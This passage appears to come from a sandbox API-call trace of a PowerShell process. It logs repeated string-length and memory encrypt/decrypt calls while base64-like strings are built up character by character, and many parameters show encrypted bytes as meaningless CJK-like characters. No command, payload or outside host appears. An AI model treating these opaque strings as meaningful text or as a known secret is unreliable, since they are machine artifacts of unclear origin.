(param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤⊺) returned 0x20 [0245.940] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.940] SysStringLen (param_1="IPg/sm+AidMpc7g8hrXSF28obꄻ㲿뛗퉴憺矓") returned 0x20 [0245.940] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.940] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤꺺㻥ौꭿ\ꇟᮢ胝") returned 0x20 [0245.940] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤꺺㻥ौꭿ\ꇟᮢ胝") returned 0x20 [0245.940] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.940] SysStringLen (param_1="IPg/sm+AidMpc7g8hrXSF28ob2ꄻ㲿뛗퉴憺矓") returned 0x20 [0245.940] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.940] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤劺棍‥ⴤ讟⽑䆞迆⋕) returned 0x20 [0245.940] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤劺棍‥ⴤ讟⽑䆞迆⋕) returned 0x20 [0245.941] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.941] SysStringLen (param_1="IPg/sm+AidMpc7g8hrXSF28ob2k㲿뛗퉴憺矓") returned 0x20 [0245.941] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.941] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤皺曒쫜눓牍譴╜灙≞) returned 0x20 [0245.941] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤皺曒쫜눓牍譴╜灙≞) returned 0x20 [0245.941] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.941] SysStringLen (param_1="IPg/sm+AidMpc7g8hrXSF28ob2kw뛗퉴憺矓") returned 0x20 [0245.941] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.941] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤঺삾＼访䛓뷠繈∗) returned 0x20 [0245.941] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤঺삾＼访䛓뷠繈∗) returned 0x20 [0245.941] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.941] SysStringLen (param_1="IPg/sm+AidMpc7g8hrXSF28ob2kw2퉴憺矓") returned 0x20 [0245.941] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.942] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤岺핑ᘯⓧ꽳ᾇ풃诱⊏) returned 0x20 [0245.942] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤岺핑ᘯⓧ꽳ᾇ풃诱⊏) returned 0x20 [0245.942] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.942] SysStringLen (param_1="IPg/sm+AidMpc7g8hrXSF28ob2kw2S憺矓") returned 0x20 [0245.942] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.942] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤햺⻨콕붵悮䨲軫⴦∃) returned 0x20 [0245.942] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤햺⻨콕붵悮䨲軫⴦∃) returned 0x20 [0245.942] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.942] SysStringLen (param_1="IPg/sm+AidMpc7g8hrXSF28ob2kw2SG矓") returned 0x20 [0245.942] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.942] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤ⶺ題슺ꛀ૥㷴휹夌∋) returned 0x20 [0245.942] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤ⶺ題슺ꛀ૥㷴휹夌∋) returned 0x20 [0245.942] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.943] SysStringLen (param_1="IPg/sm+AidMpc7g8hrXSF28ob2kw2SG9") returned 0x20 [0245.943] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.943] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤鵅많퇂鵁재曫눣≗) returned 0x20 [0245.943] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤鵅많퇂鵁재曫눣≗) returned 0x20 [0245.943] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤鵅많퇂鵁재曫눣≗) returned 0x20 [0245.943] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤鵅많퇂鵁재曫눣屗砀　㈀∀) returned 0x28 [0245.943] SystemFunction041 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.943] SysStringLen (param_1="IPg/sm+AidMpc7g8hrXSF28ob2kw2SG9F秄䚤ㄸ醼烱ῥ\⋟) returned 0x28 [0245.943] SystemFunction040 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.944] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤鵅많퇂鵁재曫눣し筒敱㧚荡嵃ᡆ\㯛") returned 0x28 [0245.944] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤鵅많퇂鵁재曫눣し筒敱㧚荡嵃ᡆ\㯛") returned 0x28 [0245.944] SystemFunction041 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.944] SysStringLen (param_1="IPg/sm+AidMpc7g8hrXSF28ob2kw2SG9FK䚤ㄸ醼烱ῥ\⋟) returned 0x28 [0245.944] SystemFunction040 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.944] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤鵅많퇂鵁재曫눣ꝗ祗勺ຠ쾓Ԗḡ抜⋕) returned 0x28 [0245.944] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤鵅많퇂鵁재曫눣ꝗ祗勺ຠ쾓Ԗḡ抜⋕) returned 0x28 [0245.944] SystemFunction041 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.944] SysStringLen (param_1="IPg/sm+AidMpc7g8hrXSF28ob2kw2SG9FKWㄸ醼烱ῥ\⋟) returned 0x28 [0245.944] SystemFunction040 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.944] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤鵅많퇂鵁재曫눣ﶷ帕鄑麼ꊦ⊂) returned 0x28 [0245.944] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤鵅많퇂鵁재曫눣ﶷ帕鄑麼ꊦ⊂) returned 0x28 [0245.944] SystemFunction041 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.945] SysStringLen (param_1="IPg/sm+AidMpc7g8hrXSF28ob2kw2SG9FKWa醼烱ῥ\⋟) returned 0x28 [0245.945] SystemFunction040 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.945] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤鵅많퇂鵁재曫눣偗孲ﳻ횃刾\ӛ঩") returned 0x28 [0245.945] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤鵅많퇂鵁재曫눣偗孲ﳻ횃刾\ӛ঩") returned 0x28 [0245.945] SystemFunction041 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.945] SysStringLen (param_1="IPg/sm+AidMpc7g8hrXSF28ob2kw2SG9FKWaY烱ῥ\⋟) returned 0x28 [0245.945] SystemFunction040 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.945] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤鵅많퇂鵁재曫눣ﴕ뚙鋢꓅逆낌㵹⊞) returned 0x28 [0245.945] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤鵅많퇂鵁재曫눣ﴕ뚙鋢꓅逆낌㵹⊞) returned 0x28 [0245.945] SystemFunction041 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.945] SysStringLen (param_1="IPg/sm+AidMpc7g8hrXSF28ob2kw2SG9FKWaYTῥ\⋟) returned 0x28 [0245.945] SystemFunction040 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.945] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤鵅많퇂鵁재曫눣걗条떍䞄㞁Ⲝę驗≲) returned 0x28 [0245.946] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤鵅많퇂鵁재曫눣걗条떍䞄㞁Ⲝę驗≲) returned 0x28 [0245.946] SystemFunction041 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.946] SysStringLen (param_1="IPg/sm+AidMpc7g8hrXSF28ob2kw2SG9FKWaYTY\⋟) returned 0x28 [0245.946] SystemFunction040 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.946] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤鵅많퇂鵁재曫눣腗㫮格咚먦ㆍ䙻ᤖ∴) returned 0x28 [0245.946] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤鵅많퇂鵁재曫눣腗㫮格咚먦ㆍ䙻ᤖ∴) returned 0x28 [0245.946] SystemFunction041 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.946] SysStringLen (param_1="IPg/sm+AidMpc7g8hrXSF28ob2kw2SG9FKWaYTYY") returned 0x28 [0245.946] SystemFunction040 (in: Memory=0x5c9b80c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b80c) returned 0x0 [0245.946] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤鵅많퇂鵁재曫눣䕗॰伅爩䵎齸ⷆ싏⊩) returned 0x28 [0245.946] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤鵅많퇂鵁재曫눣䕗॰伅爩䵎齸ⷆ싏⊩) returned 0x28 [0245.947] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤鵅많퇂鵁재曫눣䕗॰伅爩䵎齸ⷆ싏⊩) returned 0x28 [0245.947] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤鵅많퇂鵁재曫눣䕗॰伅爩䵎齸ⷆ싏⊩) returned 0x30 [0245.947] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0245.947] SysStringLen (param_1="IPg/sm+AidMpc7g8hrXSF28ob2kw2SG9FKWaYTYY3㶜带烠뱞擹") returned 0x30 [0245.947] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0245.947] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤鵅많퇂鵁재曫눣䕗॰伅爩䵎齸ⷆ싏楆峐ᑹ旂ዲ츃篜∛) returned 0x30 [0245.947] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤鵅많퇂鵁재曫눣䕗॰伅爩䵎齸ⷆ싏楆峐ᑹ旂ዲ츃篜∛) returned 0x30 [0245.947] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0245.947] SysStringLen (param_1="IPg/sm+AidMpc7g8hrXSF28ob2kw2SG9FKWaYTYY31带烠뱞擹") returned 0x30 [0245.947] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0245.948] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤鵅많퇂鵁재曫눣䕗॰伅爩䵎齸ⷆ싏媩\俜衹\凚龳ﱅ֡⊀) returned 0x30 [0245.948] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤鵅많퇂鵁재曫눣䕗॰伅爩䵎齸ⷆ싏媩\俜衹\凚龳ﱅ֡⊀) returned 0x30 [0245.948] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0245.948] SysStringLen (param_1="IPg/sm+AidMpc7g8hrXSF28ob2kw2SG9FKWaYTYY31c烠뱞擹") returned 0x30 [0245.948] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0245.948] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤鵅많퇂鵁재曫눣䕗॰伅爩䵎齸ⷆ싏梩猾ﮉ徵쇶㠴惺∜) returned 0x30 [0245.948] SysStringLen (param_1="佼夻Ὕ癨햄䁮궂盙㕵㔁껜៝鷽栉輬蓍䁎\勞燖㢆ଽ쥤鵅많퇂鵁재曫눣䕗॰伅爩䵎齸ⷆ싏梩猾ﮉ徵쇶㠴惺∜) returned 0x30 [0245.948] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0245.948] SysStringLen (param_1="IPg/sm+AidMpc7g8hrXSF28ob2kw2SG9FKWaYTYY31c=烠뱞擹") returned 0x30 [0245.948] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0245.948] EtwEventActivityIdControl () returned 0x0 [0245.948] EtwEventActivityIdControl () returned 0x0 [0245.949] EtwEventActivityIdControl () returned 0x0 [0245.949] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.950] EtwEventActivityIdControl () returned 0x0 [0245.950] EtwEventActivityIdControl () returned 0x0 [0245.950] EtwEventActivityIdControl () returned 0x0 [0245.951] SysStringLen (param_1="") returned 0x8 [0245.951] SysStringLen (param_1="N") returned 0x8 [0245.951] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.951] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0245.951] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0245.951] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.951] SysStringLen (param_1="ND") returned 0x8 [0245.951] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.951] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0245.951] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0245.951] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.951] SysStringLen (param_1="NDZ") returned 0x8 [0245.951] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.952] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0245.952] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0245.952] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.952] SysStringLen (param_1="NDZl") returned 0x8 [0245.952] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.952] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0245.952] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0245.952] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.952] SysStringLen (param_1="NDZlO") returned 0x8 [0245.952] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.952] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0245.952] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0245.952] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.953] SysStringLen (param_1="NDZlOD") returned 0x8 [0245.953] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.953] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0245.953] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0245.953] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.953] SysStringLen (param_1="NDZlODR") returned 0x8 [0245.953] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.953] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0245.953] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0245.953] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.953] SysStringLen (param_1="NDZlODRm") returned 0x8 [0245.953] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.954] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0245.954] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0245.954] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0245.954] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0245.954] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.954] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0245.954] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.955] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0245.955] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0245.955] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.955] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0245.955] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.955] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0245.955] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0245.955] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.955] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0245.955] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.956] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0245.956] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0245.956] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.956] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0245.956] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.956] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0245.956] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0245.956] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.956] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0245.956] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.956] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0245.956] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0245.956] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.957] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0245.957] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.957] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0245.957] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0245.957] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.957] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0245.957] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.957] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0245.957] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0245.957] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.957] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0245.957] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.958] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0245.958] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0245.958] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0245.958] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0245.958] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.958] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0245.958] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.959] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0245.959] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0245.959] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.959] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0245.959] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.959] SysStringLen 